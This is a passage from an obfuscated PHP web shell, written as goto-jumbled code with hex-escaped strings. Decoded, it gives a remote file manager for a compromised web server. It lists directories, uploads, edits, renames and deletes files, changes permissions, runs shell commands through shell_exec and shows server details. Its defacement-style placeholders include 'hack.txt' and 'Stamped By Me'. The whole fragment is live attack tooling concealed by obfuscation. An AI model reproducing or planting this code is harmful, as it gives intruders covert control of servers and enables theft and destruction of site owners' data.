fclose($huZFR); goto dQvpc; KjXt9: dNIIH: goto NbQpR; lhxFV: echo "\x3c\x2f\154\141\x62\145\x6c\x3e\12\40\x20\x20\40\x20\x20\x3c\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\x68\151\x64\x64\x65\156\x22\x20\156\141\155\145\x3d\x22\143\147\x66\x22\x20\x76\141\154\165\x65\x3d\42"; goto rwbJh; IJK5e: if (!is_dir(UgwHk($_GET["\x70"]) . "\x2f" . uGWhk($_GET["\144"]))) { goto lA959; } goto HD3Iq; Und2g: $I8vAC = ''; goto eEOh3; HJu9V: ezLha: goto r2NiQ; zl_wE: unlink($E5Z_f); goto qgmWb; NzkH4: isset($_POST["\x73"]) ? $mWJjd[16]($keVpk . "\x2f" . UgWHk($_GET["\x6e"]), $_POST["\156"]) ? f2Y3t("\163\165\x63\x63\x65\163\x73\146\165\x6c\x6c\171\40\143\150\x61\x6e\x67\x65\x64\x20\x74\x68\x65\40\146\157\154\144\145\162\40\156\141\155\x65") : f2y3t("\146\141\x69\154\x65\144\40\x74\x6f\x20\143\x68\x61\156\147\x65\x20\164\150\145\x20\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145", 0) : null; goto CRCRe; ab_vv: foreach ($C1o8f as $dU_aF) { goto dalmg; Wh9AQ: $FZL46 = $FZL46 > 1024 ? round($FZL46 / 1024, 2) . "\74\x62\76\115\x42\x3c\x2f\142\76" : $FZL46 . "\x3c\142\76\x4b\x42\74\x2f\x62\76"; goto ejXXS; ejXXS: echo "\74\164\162\76\74\x74\x64\x20\143\x6c\141\x73\x73\x3d\47\x69\x73\x2d\146\x6c\145\x78\x27\x20\x73\164\x79\154\145\75\x27\147\141\160\x3a\x34\160\170\x27\x3e\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . siRA4($keVpk) . "\46\x61\x3d" . Sira4("\x76\x69\145\167") . "\46\x6e\x3d" . SIra4($dU_aF) . "\x22\76\x3c\151\40\x63\x6c\141\163\x73\75\42\142\151\40\142\151\x2d\x66\x69\154\x65\55\145\141\162\x6d\x61\162\x6b\55\x66\151\x6c\154\42\40\x64\x61\x74\141\55\156\x61\x6d\x65\x3d\x27{$dU_aF}\47\x3e\74\x2f\151\x3e\x20{$dU_aF}\74\x2f\141\76\x3c\x2f\164\144\76\x3c\x74\144\x3e{$FZL46}\74\x2f\164\x64\76\x3c\x74\x64\x3e\x3c\x61\40\x68\x72\145\146\x3d\x27\x3f\160\75" . siRA4($keVpk) . "\x26\x6e\75" . SIra4($dU_aF) . "\x26\x63\x68\155\x6f\x64\146\75\61\x27\x3e\74\146\x6f\156\x74\x20\143\157\154\x6f\162\x3d\x22" . ($mWJjd[8]("{$keVpk}\x2f{$dU_aF}") ? "\43\x30\60\146\x66\x30\x30" : (!$mWJjd[9]("{$keVpk}\x2f{$dU_aF}") ? "\x72\x65\144" : null)) . "\x22\x3e" . iYzXR("{$keVpk}\x2f{$dU_aF}") . "\74\57\146\x6f\x6e\x74\76\74\x2f\141\x3e\x3c\57\x74\x64\76\74\164\144\76" . $mWJjd[19]("\131\55\155\x2d\144\x20\110\x3a\x69", $mWJjd[20]("{$keVpk}\x2f{$dU_aF}")) . "\74\x2f\x74\144\76\x3c\x74\x64\76\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x22\151\163\55\x66\x6c\x65\x78\40\152\165\x73\164\151\x66\x79\x2d\143\x6f\x6e\x74\x65\x6e\x74\55\x62\145\x74\x77\x65\145\x6e\42\40\163\x74\171\154\145\75\x27\x67\x61\160\72\x38\160\170\47\x3e\x3c\141\40\143\x6c\x61\x73\163\75\47\x62\165\164\164\x6f\x6e\x20\x69\163\55\x77\141\162\156\151\x6e\147\40\151\163\55\163\155\x61\154\154\x20\160\170\55\62\40\160\171\x2d\x30\47\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . siRA4($keVpk) . "\x26\141\75" . siRA4("\145\x64\151\x74") . "\46\156\75" . sirA4($dU_aF) . "\42\76\x3c\151\40\143\154\x61\x73\x73\x3d\x22\x62\x69\x20\x62\x69\55\160\145\x6e\143\151\154\x2d\x66\x69\154\154\x20\x69\163\x2d\163\x69\x7a\x65\x2d\x36\40\155\x72\x2d\x31\x22\76\x3c\x2f\x69\76\x20\x45\x64\151\x74\x3c\x2f\x61\76\x3c\x61\40\143\154\x61\163\x73\75\x27\142\x75\164\164\x6f\156\40\x69\x73\x2d\151\x6e\146\x6f\x20\x69\x73\55\163\x6d\x61\154\154\40\160\x78\55\x32\40\x70\171\x2d\60\47\40\150\x72\x65\x66\75\42\77\160\x3d" . sirA4($keVpk) . "\46\x61\x3d" . Sira4("\x72\145\156\141\x6d\x65") . "\x26\x6e\75" . SIrA4($dU_aF) . "\x26\164\75\x66\42\76\74\151\40\x63\154\x61\163\163\75\42\151\x20\142\x69\55\x69\x6e\160\x75\x74\55\x63\x75\162\x73\157\162\x2d\164\x65\170\x74\40\x69\x73\x2d\163\151\x7a\x65\x2d\66\x20\x6d\162\x2d\x31\42\76\74\x2f\x69\76\40\x52\x65\x6e\141\155\145\x3c\x2f\141\x3e\74\141\x20\143\154\141\163\x73\x3d\47\x62\x75\164\x74\x6f\x6e\40\x69\163\55\x6c\151\x6e\153\x20\151\163\x2d\x73\x6d\141\x6c\154\40\160\x78\x2d\62\x20\160\171\55\60\47\40\x68\162\x65\146\x3d\42\77\160\75" . sira4($keVpk) . "\46\156\x3d" . Sira4($dU_aF) . "\x26\x64\x6f\167\156\x6c\x6f\141\144" . "\42\x3e\x3c\151\x20\x63\x6c\x61\163\x73\75\x22\142\x69\x20\142\151\55\x63\154\157\x75\144\55\141\x72\162\x6f\x77\55\144\x6f\167\x6e\x2d\x66\151\154\x6c\40\151\x73\55\x73\151\172\x65\55\x36\40\155\162\x2d\61\42\76\x3c\57\x69\x3e\40\104\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\74\141\x20\143\154\x61\x73\163\x3d\x27\x62\x75\x74\164\157\156\40\151\x73\55\144\141\x6e\x67\145\162\x20\151\163\x2d\x73\x6d\141\154\154\x20\160\x78\55\62\x20\160\x79\55\60\x27\40\150\162\145\146\x3d\x22\x3f\160\75" . sIra4($keVpk) . "\x26\x74\75\146\x26\141\x3d" . sirA4("\x64\x65\154\x65\164\x65") . "\x26\156\75" . sIRa4($dU_aF) . "\42\40\x64\x61\x74\141\55\x74\x79\160\145\x3d\42\x66\x69\x6c\145\x22\76\74\151\40\143\x6c\x61\163\163\75\42\x62\x69\x20\142\x69\x2d\x74\162\x61\x73\150\55\146\x69\154\154\x20\x69\163\55\163\x69\x7a\x65\55\66\x20\x6d\x72\x2d\61\42\x3e\74\57\151\76\x20\104\x65\x6c\x65\x74\x65\74\57\x61\76\74\57\x64\151\166\76\74\x2f\164\144\76\74\57\164\162\x3e"; goto pa5Hr; z65fV: goto u4dL2; goto aVM9E; dalmg: if ($mWJjd[7]("{$keVpk}\57{$dU_aF}")) { goto w54e1; } goto z65fV; dmBud: $FZL46 = $mWJjd[10]("{$keVpk}\x2f{$dU_aF}") / 1024; goto j3Z1s; pa5Hr: u4dL2: goto V1Cgh; j3Z1s: $FZL46 = round($FZL46, 1); goto Wh9AQ; aVM9E: w54e1: goto dmBud; V1Cgh: } goto sR1SU; oIwRl: echo "\47\x29\x3b\141\x6c\145\x72\x74\x28\x27\103\157\160\151\145\x64\x20\x74\x6f\40\x63\154\151\x70\x62\157\x61\x72\144\47\x29\73\42\40\143\154\x61\163\163\x3d\42\x69\163\x2d\x66\141\x6d\151\154\x79\55\x6d\157\x6e\157\x73\160\141\x63\145\40\x62\x75\x74\164\x6f\x6e\40\x69\x73\x2d\x70\x72\151\x6d\x61\162\x79\40\x69\163\55\151\x6e\166\x65\162\x74\145\x64\40\x70\x6c\x2d\62\40\151\x73\55\157\165\164\x6c\x69\x6e\x65\x64\x22\76\12\x20\x20\40\40\40\40\40\40\74\142\x20\143\154\x61\x73\163\x3d\x22\164\x61\x67\40\x69\163\55\x70\x72\151\155\141\x72\171\40\x6d\162\55\62\42\x3e\x53\x65\x72\x76\145\162\x20\x53\157\x66\x74\x77\141\x72\x65\74\x2f\142\x3e\12\x20\40\40\40\x20\40\x20\40\74\156\x6f\x62\162\76"; goto wgLuw; usn9j: e3VtV: goto gxKiv; qE85o: if (!file_exists(uGwhk($_GET["\x70"]) . "\57" . uGWHK($_GET["\156"]))) { goto J_eMu; } goto DJowL; IUsOc: echo "\x20\174\x20\x4d\x79\x53\121\114\x20\72\x20"; goto tpaVG; sogkV: echo "\74\x2f\156\157\x62\162\76\74\57\154\x69\x3e\12\40\40\40\x20\74\154\151\76\123\x65\x72\x76\145\162\40\123\157\146\x74\167\141\162\x65\40\x3a\x20\74\156\x6f\x62\x72\76"; goto CE65j; rkBN3: $q5oCr = preg_replace("\57" . SiRa4($_SERVER["\x44\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"]) . "\57\x69", '', $_GET["\160"]); goto hVz2W; td1r3: echo "\x3c\x2f\x6e\157\x62\162\76\x3c\x2f\x6c\151\76\12\x20\40\x20\40\x3c\154\x69\76\104\151\163\x61\x62\x6c\x65\x64\x20\x66\x75\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\156\157\142\162\76"; goto ezNsH; Rk1K9: if (!$mWJjd[12]($FK4d6)) { goto t9eud; } goto Fnjyw; EkYla: PmSkv: goto dW_tO; W2gVX: Dq1Td: goto ZbLg4; Uoc5T: if ($uKjJE == "\x65\x64\151\x74") { goto hlaFx; } goto DccwL; vbN4c: $uKjJE = UgWhK($_GET["\x61"]); goto RU3J2; dWgq8: $C1o8f = $mWJjd[5]($C1o8f($keVpk), ["\x2e", "\x2e\56"]); goto ThnZz; lNNW1: if (isset($_GET["\160"])) { goto Zdbyj; } goto zgjy7; OTlAe: $zErae++; goto DMRFr; EJLF0: if (is_dir($_POST["\155\141\153\145\x64\151\162"])) { goto s1Yh0; } goto bXfrx; J2Z1Z: echo "\x3c\57\x64\151\166\76"; goto eaSXg; gxKiv: $fKgA3 = "\x74\x65\163\164\x5f\x63\157\155\155\141\x6e\x64\x2e\x7a\151\x70"; goto n6diT; KIbsI: J_eMu: goto znQki; tpaVG: echo nUt1O(); goto OKn_g; bXfrx: if (!mkdir(basename($_POST["\x6d\x61\x6b\145\x64\151\162"]))) { goto EhEmv; } goto ywBVP; aEVGs: function bl7zL($hKgYg) { goto KoENY; UXnmH: jjwP5: goto YymOP; YymOP: array_map("\x64\x65\x6c\x64\x69\162", glob($hKgYg . DIRECTORY_SEPARATOR . "\173\x2c\56\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto gyCAM; ueeNg: if ($mWJjd[6]($hKgYg)) { goto jjwP5; } goto DN98j; uHTAT: return; goto Lsvv_; PuxGU: if (!(trim(pathinfo($hKgYg, PATHINFO_BASENAME), "\56") === '')) { goto hNmOj; } goto uHTAT; gyCAM: rmdir($hKgYg); goto d9V3X; KoENY: global $mWJjd; goto PuxGU; DN98j: unlink($hKgYg); goto CdqQN; Lsvv_: hNmOj: goto ueeNg; CdqQN: goto BleDP; goto UXnmH; d9V3X: BleDP: goto Wx7Yi; Wx7Yi: } goto VLAWb; GGNqi: if (!isset($_GET["\141"])) { goto Dq1Td; } goto Gnh_S; BCVk_: if (!isset($_GET["\x70"])) { goto xYS3g; } goto rkBN3; d7XNG: goto iyd7_; goto cgrAg; Cq9ID: echo "\x3c\41\x64\157\143\164\x79\160\145\x20\150\164\x6d\x6c\x3e\xa\74\150\164\x6d\154\40\x6c\x61\156\x67\x3d\x22\x65\156\42\x3e\xa\40\x20\x3c\x68\145\141\144\x3e\12\x20\x20\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\155\x65\x3d\42\164\150\x65\155\x65\55\143\157\154\157\162\x22\x20\x63\x6f\x6e\x74\145\x6e\164\x3d\42\162\145\144\x22\x3e\12\40\x20\x20\40\74\155\x65\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\x65\167\x70\x6f\162\164\x22\40\x63\x6f\156\164\x65\x6e\164\75\x22\167\151\144\164\x68\75\144\x65\166\151\x63\x65\55\167\x69\144\164\x68\x2c\x20\151\x6e\151\x74\151\x61\154\x2d\163\x63\141\154\x65\75\60\x2e\x36\x30\54\x20\163\150\162\151\156\x6b\55\x74\157\55\x66\151\x74\75\x6e\157\42\76\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\x65\x6c\x3d\42\163\x74\x79\x6c\x65\x73\150\145\x65\164\x22\40\150\162\145\146\x3d\42\150\x74\x74\x70\x73\x3a\57\57\x63\144\x6e\x2e\152\163\x64\145\154\x69\166\162\56\x6e\x65\164\57\x6e\x70\155\x2f\142\x75\154\x6d\141\x40\x31\56\60\x2e\62\57\143\x73\x73\x2f\x62\165\154\155\x61\x2e\x6d\151\x6e\x2e\143\163\163\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\154\x65\x73\150\145\x65\164\x22\40\x68\162\x65\146\x3d\42\x68\x74\164\x70\x73\72\57\57\x63\x64\x6e\x2e\x6a\163\144\145\x6c\x69\166\162\x2e\x6e\145\164\57\x6e\160\x6d\57\142\157\157\164\x73\164\162\x61\x70\x2d\x69\143\157\156\x73\x40\61\56\x31\x31\56\x33\x2f\146\x6f\156\164\x2f\x62\157\157\164\x73\164\x72\x61\x70\x2d\151\143\x6f\156\x73\56\x6d\x69\x6e\x2e\x63\x73\x73\42\76\12\x20\40\40\x20\74\x6c\151\156\153\40\x68\162\145\146\75\x22\150\164\x74\x70\163\72\x2f\57\x63\144\x6e\56\x6a\163\144\145\x6c\151\x76\x72\56\156\145\164\x2f\x6e\x70\155\57\x40\145\170\165\x61\x6e\x62\x6f\57\x66\x69\154\145\55\x69\x63\x6f\156\163\55\152\x73\100\154\x61\164\x65\x73\x74\x2f\144\x69\x73\x74\57\x63\x73\x73\57\146\151\154\x65\55\151\x63\x6f\x6e\163\x2e\155\151\x6e\x2e\x63\x73\x73\42\x20\162\x65\x6c\75\42\163\164\171\x6c\145\x73\150\145\145\164\42\x3e\xa\12\x20\40\x20\x20\x3c\164\151\164\x6c\145\76"; goto AMrTf; HD3Iq: fgYw1($_POST["\143\147\146"], $_POST["\x63\157\x64\x65\170"]); goto LNZmW; cx2iT: echo "\74\146\x6f\162\x6d\40\155\145\x74\150\157\144\x3d\42\160\157\163\164\42\x20\x63\x6c\x61\163\x73\75\42\142\157\x78\x22\40\x73\x74\x79\x6c\145\x3d\x22\142\157\x72\144\x65\162\x3a\62\x70\170\x20\x73\x6f\154\151\144\x20\x68\x73\154\x28\61\67\x31\x2c\40\61\60\60\45\x2c\x20\61\66\45\x29\x22\x3e\12\40\x20\74\x68\x34\40\x63\154\141\163\x73\75\x22\x69\163\55\163\151\x7a\145\55\65\x20\x68\x61\x73\55\x74\145\x78\x74\55\x77\x65\151\147\x68\x74\55\x62\157\154\144\x20\x68\x61\163\55\x74\145\170\x74\55\x70\x72\151\x6d\141\162\171\x20\155\x62\55\x34\42\x3e\x43\162\x65\141\x74\145\40\116\145\x77\40\x46\x6f\154\144\145\162\74\57\150\x34\x3e\12\x20\x20\74\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\x69\145\154\144\42\x3e\xa\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\146\157\162\75\x22\x6e\x22\40\143\x6c\x61\x73\163\75\x22\x6c\x61\142\145\x6c\42\x3e\x4e\x61\155\x65\74\x2f\154\141\x62\x65\154\76\12\x20\x20\40\40\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\x65\x3d\x22\156\x22\x20\151\x64\75\42\x6e\x22\40\143\154\141\163\163\75\x22\x69\x6e\x70\x75\164\42\x20\x61\x75\x74\157\x63\x6f\155\160\154\x65\x74\145\75\42\157\x66\146\x22\76\12\x20\x20\x3c\x2f\144\151\166\x3e\12\x20\40\74\x62\x75\164\x74\x6f\156\40\164\171\x70\145\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\x6d\x65\75\42\163\x22\x20\143\154\x61\x73\163\75\x22\x62\165\x74\x74\157\x6e\40\x69\x73\x2d\x70\x72\151\155\141\162\171\42\x3e\103\x72\145\141\164\145\74\57\142\165\x74\164\x6f\x6e\76\xa\74\x2f\146\157\162\155\76\xa"; goto C_GN8; CzNJw: T17o4: goto efyrq; hB10d: $keVpk = $mWJjd[2](); goto ppGjr; RYjUz: function sIra4($jN21H) { goto wv1BN; PBSAn: eiVC8: goto LKaAH; XsSUD: e7xAP: goto voRJy; t4XU4: UQ2Na: goto OgPc4; YjgWV: goto eiVC8; goto XsSUD; YvCEs: $YcdOo .= dechex(ord($jN21H[$zErae])); goto t4XU4; wv1BN: $YcdOo = ''; goto ff7B0; LKaAH: if (!($zErae < strlen($jN21H))) { goto e7xAP; } goto YvCEs; ff7B0: $zErae = 0; goto PBSAn; OgPc4: $zErae++; goto YjgWV; voRJy: return $YcdOo; goto jsoRn; jsoRn: } goto GSvI4; RXCC4: goto GvegE; goto nXISj; eaSXg: goto PmSkv; goto W2gVX; A6yqx: if (empty($K1rI2)) { goto H2eZY; } goto YvqIy; r5Ado: echo "\x20\x20\74\146\157\x72\x6d\40\155\145\x74\150\x6f\x64\x3d\42\x70\157\163\x74\42\40\x63\x6c\141\x73\x73\x3d\42\x62\x6f\170\42\x20\163\164\x79\154\x65\x3d\42\142\x6f\x72\144\145\x72\x3a\x32\160\x78\x20\163\157\154\151\144\40\x68\x73\x6c\50\x31\67\61\x2c\40\61\x30\60\45\x2c\40\61\x36\x25\51\42\76\12\40\x20\x20\40\74\x68\64\x20\x63\154\x61\x73\x73\x3d\x22\x69\163\x2d\x73\151\x7a\x65\55\x35\40\x68\141\163\55\164\145\170\x74\55\167\145\151\x67\x68\x74\55\142\157\154\144\40\x68\141\x73\55\164\x65\170\x74\55\x70\x72\x69\155\141\162\171\40\x6d\142\x2d\64\42\76\x43\162\145\x61\164\145\x20\116\x65\167\40\x46\151\x6c\145\x3c\57\x68\64\76\xa\40\x20\x20\40\74\144\x69\x76\40\x63\x6c\141\163\x73\75\x22\146\151\145\x6c\144\42\x3e\12\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\x20\x66\157\x72\75\x22\x6e\42\x20\x63\154\141\163\x73\75\42\154\x61\x62\145\154\42\76\x46\151\x6c\x65\156\x61\x6d\x65\74\x2f\154\x61\142\145\154\76\xa\40\40\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\40\x6e\141\x6d\x65\75\x22\x6e\x22\x20\x69\x64\x3d\x22\156\42\x20\143\x6c\x61\163\x73\75\42\151\156\160\x75\x74\x22\x20\160\154\141\143\x65\x68\x6f\154\144\x65\162\x3d\x22\x68\141\143\x6b\56\164\x78\164\x22\76\xa\x20\x20\40\x20\x3c\57\144\x69\166\x3e\xa\x20\x20\x20\40\x3c\144\151\166\x20\143\154\x61\163\x73\x3d\42\146\x69\145\x6c\x64\42\x3e\12\40\x20\40\x20\40\x20\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\x22\x63\x74\x6e\42\x20\143\x6c\141\x73\x73\x3d\x22\x6c\141\142\x65\154\42\76\x43\x6f\x6e\164\145\x6e\164\x3c\57\154\x61\x62\x65\x6c\x3e\12\40\40\x20\40\40\40\x3c\x74\x65\x78\x74\x61\162\x65\x61\40\163\x74\171\154\x65\x3d\x22\x72\145\x73\151\x7a\x65\72\156\x6f\x6e\145\42\x20\x6e\x61\155\x65\x3d\42\x63\x74\x6e\x22\x20\x69\x64\x3d\42\143\164\156\x22\x20\x63\157\154\163\75\42\x33\x30\42\x20\x72\x6f\167\x73\75\42\61\60\x22\40\x63\154\141\x73\x73\x3d\42\x74\145\170\x74\141\x72\145\141\x22\40\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\43\x20\123\164\x61\155\160\145\x64\x20\x42\x79\40\115\145\42\76\74\x2f\x74\145\x78\164\x61\162\x65\141\76\xa\40\x20\40\40\x3c\57\144\x69\x76\x3e\12\x20\40\40\40\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x6e\x61\155\x65\75\x22\x73\42\40\143\154\141\163\163\x3d\42\x62\165\164\x74\x6f\x6e\40\151\x73\x2d\160\162\x69\155\141\x72\171\42\76\103\162\x65\141\164\x65\x3c\57\x62\165\164\164\157\x6e\76\xa\40\x20\74\57\x66\x6f\x72\x6d\76\12\xa"; goto AqqqY; rcEfg: goto dR8cX; goto Qm8jY; Vk0NB: echo nut1o(); goto F5940; i4dlG: VAoSI: goto OTlAe; NVoZA: XD1zL: goto xLpxC; rA9Hj: $bP9ht = shell_exec("\172\x69\160\x20{$fKgA3}\40{$E5Z_f}\40\62\76\46\61"); goto qG05B; PC10j: F2Y3T("\x66\151\x6c\145\40\146\x61\151\x6c\145\144\x20\164\157\x20\165\160\x6c\x6f\141\144", 0); goto ilodd; AMrTf: echo m9jKO; goto hXpWe; nycFR: kWGcU: goto VrT_s; txAy7: die($oJwbz); goto ncRkG; bmtvF: echo TA6a_(); goto qQmdQ; CRCRe: goto xNsqm; goto Px60m; yzNGs: HNYAM: goto K_MOx; ncRkG: uskpD: goto PIAej; fWCEd: echo "\x3c\57\154\x61\142\145\x6c\x3e\12\11\11\74\151\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\42\143\147\146\42\40\x76\x61\x6c\x75\145\75\42"; goto G87Ww; efyrq: echo "\124\x68\145\x20\x27\172\x69\160\47\40\143\x6f\x6d\155\x61\x6e\144\40\151\163\x20\156\157\164\40\141\x76\x61\151\154\141\142\x6c\x65\40\157\x6e\40\164\x68\x69\x73\40\163\145\162\x76\145\x72\x2e\xa"; goto txAy7; Ii6qh: $zErae = 0; goto VJrQl; tvfll: echo "\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\160\170\55\x32\x20\x70\x79\55\62\42\x3e\12"; goto nPlIh; KBqBV: echo substr(@php_uname(), 0, 120); goto sogkV; zysIk: echo "\x3c\x2f\156\157\x62\x72\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\142\x20\x63\154\141\163\x73\75\42\x74\x61\147\40\x69\x73\x2d\167\x61\x72\156\x69\156\147\x20\155\x72\x2d\62\x22\x3e\x53\145\162\x76\x65\x72\x20\x41\144\x6d\151\x6e\x3c\x2f\142\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x6e\x6f\x62\x72\x3e"; goto Gjxeh; F5940: echo "\74\57\x6e\x6f\x62\162\x3e\xa\40\40\40\40\x20\40\x3c\x2f\144\151\x76\76\12\x20\40\40\x20\40\12\40\x20\x20\40\74\57\x64\x69\166\x3e\xa\40\x20\40\x20\74\144\x69\166\40\143\x6c\x61\x73\x73\75\42\151\163\x2d\146\x6c\145\170\x20\151\x73\55\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\x74\151\157\x6e\x2d\x63\157\x6c\x75\x6d\156\x22\40\163\164\171\154\145\75\x22\x67\141\160\x3a\64\x70\x78\42\x3e\xa\40\x20\x20\40\40\x20\74\146\157\x72\155\x20\141\143\x74\x69\157\x6e\x3d\42\x22\x20\143\x6c\141\x73\163\x3d\x22\151\x73\55\146\x6c\x65\170\40\151\163\x2d\x61\154\x69\x67\156\55\x69\164\x65\x6d\x73\55\x65\x6e\144\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\117\x53\124\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\74\144\x69\166\x3e\12\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\41\x2d\55\x20\x3c\154\x61\x62\x65\x6c\x3e\x4e\x65\x77\40\x46\x6f\x6c\x64\145\162\74\57\154\x61\x62\x65\154\x3e\40\x2d\x2d\76\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\143\154\x61\x73\x73\75\x22\151\x6e\x70\x75\x74\x20\x69\163\x2d\x73\x6d\x61\154\x6c\42\40\160\x6c\x61\143\145\150\157\154\144\x65\162\75\x22\116\145\167\40\106\157\x6c\144\145\x72\42\40\x6e\141\x6d\145\75\42\x6d\x61\153\145\x64\151\x72\x22\57\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\144\151\x76\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\x62\x75\x74\164\x6f\156\40\143\x6c\x61\163\163\75\42\155\154\55\61\x20\142\165\164\x74\x6f\156\x20\151\x73\55\160\162\151\x6d\141\x72\171\40\151\163\55\163\155\x61\154\154\x22\40\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x6e\x61\155\x65\x3d\x22\163\x75\x62\155\x69\164\42\x3e\76\x3c\57\142\x75\164\164\157\156\76\xa\x20\x20\x20\40\40\40\x20\40"; goto uB_8o; gWY2k: fwrite($huZFR, ''); goto MIuoc; PIAej: $K1rI2 = shell_exec("\167\x68\x69\x63\x68\40\165\x6e\172\x69\160"); goto A6yqx; krM1G: $keVpk = UgwhK($_GET["\160"]); goto yTsJL; R4zTw: ezK61: goto jMwg9; n4dOh: c5KEW: goto Me6j_; ez7b5: if ($uKjJE == "\162\145\156\x61\155\x65") { goto HdZ03; } goto Uoc5T; rwbJh: echo UgWHK($_GET["\160"]) . "\57" . uGWHk($_GET["\x64"]); goto hp8IJ; wgLuw: echo $_SERVER["\123\x45\122\x56\105\122\x5f\123\117\x46\x54\127\x41\122\x45"]; goto INqQY; JrTm1: echo "\x3c\57\156\x6f\142\162\76\74\x2f\154\x69\76\xa\x20\40\40\x20\74\154\151\76\x53\145\162\x76\x65\162\x20\x49\120\40\x3a\x20\74\156\157\142\162\76"; goto POOFd; X7iEx: echo "\x3c\x2f\x6e\x6f\x62\x72\76\12\40\40\x20\x20\40\40\x20\x20\x3c\x62\x20\x63\154\x61\x73\163\75\42\164\141\147\x20\151\x73\55\x69\156\x66\157\40\x6d\162\x2d\62\42\76\131\157\165\x72\40\111\x50\74\57\x62\x3e\12\40\x20\40\x20\x20\x20\40\x20\x3c\x6e\157\142\x72\76"; goto BrWxp; Ae3K7: s1Yh0: goto HJu9V; io1hp: echo "\106\x61\x69\154\x65\144\x20\x74\157\x20\143\162\x65\x61\x74\145\40\x7a\x69\x70\40\146\x69\x6c\145\40\165\x73\151\x6e\x67\x20\143\157\155\155\x61\156\x64\40\x6c\x69\156\x65\72\40{$bP9ht}\xa"; goto LYRJc; zG1WA: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugwHk($_GET["\x6e"]))); goto Oc3yC; sXwNB: BB29s: goto ab_vv; s5eAc: $mWJjd[$zErae] = UGWHK($mWJjd[$zErae]); goto yzNGs; Zn19y: if (!isset($_REQUEST["\151\x6e\x66\x6f"])) { goto W3If1; } goto wltfg; Px60m: hlaFx: goto TkbBu; FcEuN: $FZEHa = true; goto mdSkB; P_RV9: pBHDV: goto zYm0b; auHmR: echo "\40\40\74\144\x69\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\164\141\151\x6e\145\162\40\x69\163\x2d\x6d\141\x78\55\164\x61\x62\x6c\x65\164\42\x3e\xa\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\141\143\164\x69\x6f\x6e\75\x22\x22\40\x63\x6c\141\163\163\75\42\x62\157\170\42\40\155\145\x74\150\157\x64\x3d\x22\x50\x4f\x53\124\42\40\143\154\x61\x73\163\75\42\x6d\x79\x2d\x32\42\40\x73\x74\171\x6c\145\x3d\x22\142\x6f\162\x64\x65\162\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x68\x73\x6c\x28\61\67\61\54\x20\x31\60\x30\x25\54\x20\64\x31\45\51\73\x22\76\12\x20\40\40\40\x20\40\74\154\141\x62\145\154\40\x63\x6c\x61\163\x73\75\x27\x6c\x61\x62\145\154\47\76\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\164\x65\170\x74\x2d\160\x72\151\155\141\162\171\42\76\103\150\141\156\x67\145\x20\120\x65\162\x6d\151\x73\163\151\x6f\156\x20\106\157\162\40\104\151\x72\145\143\164\x6f\162\x79\x3a\x3c\57\163\x70\141\x6e\x3e\40"; goto Bsshy; aXR3g: TJ4s1: goto Gq4B7; Rn_2N: goto uskpD; goto CzNJw; NL4ms: if ($mWJjd[11]($_FILES["\x66"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"][$zErae], $G21FS[$zErae])) { goto c5KEW; } goto PC10j; cItqs: echo "\74\x2f\x68\64\76\12\x20\x20\x20\40\40\40\40\x20\x3c\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x65\154\144\x22\x3e\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\74\154\x61\142\x65\154\40\x66\157\162\x3d\42\156\42\x20\x63\154\141\163\163\x3d\x22\x6c\x61\x62\145\x6c\42\x3e\x4e\x61\x6d\x65\x3c\57\x6c\x61\x62\x65\154\x3e\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\x65\x3d\42\x74\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x6e\42\x20\x69\144\x3d\x22\156\x22\40\x63\154\x61\x73\x73\x3d\42\x69\x6e\160\165\164\42\40\166\x61\154\165\x65\x3d\x22"; goto K8G1p; R3m4X: $FK4d6 = $keVpk . "\57" . UGWhk($_GET["\156"]); goto JniYy; Oc3yC: echo 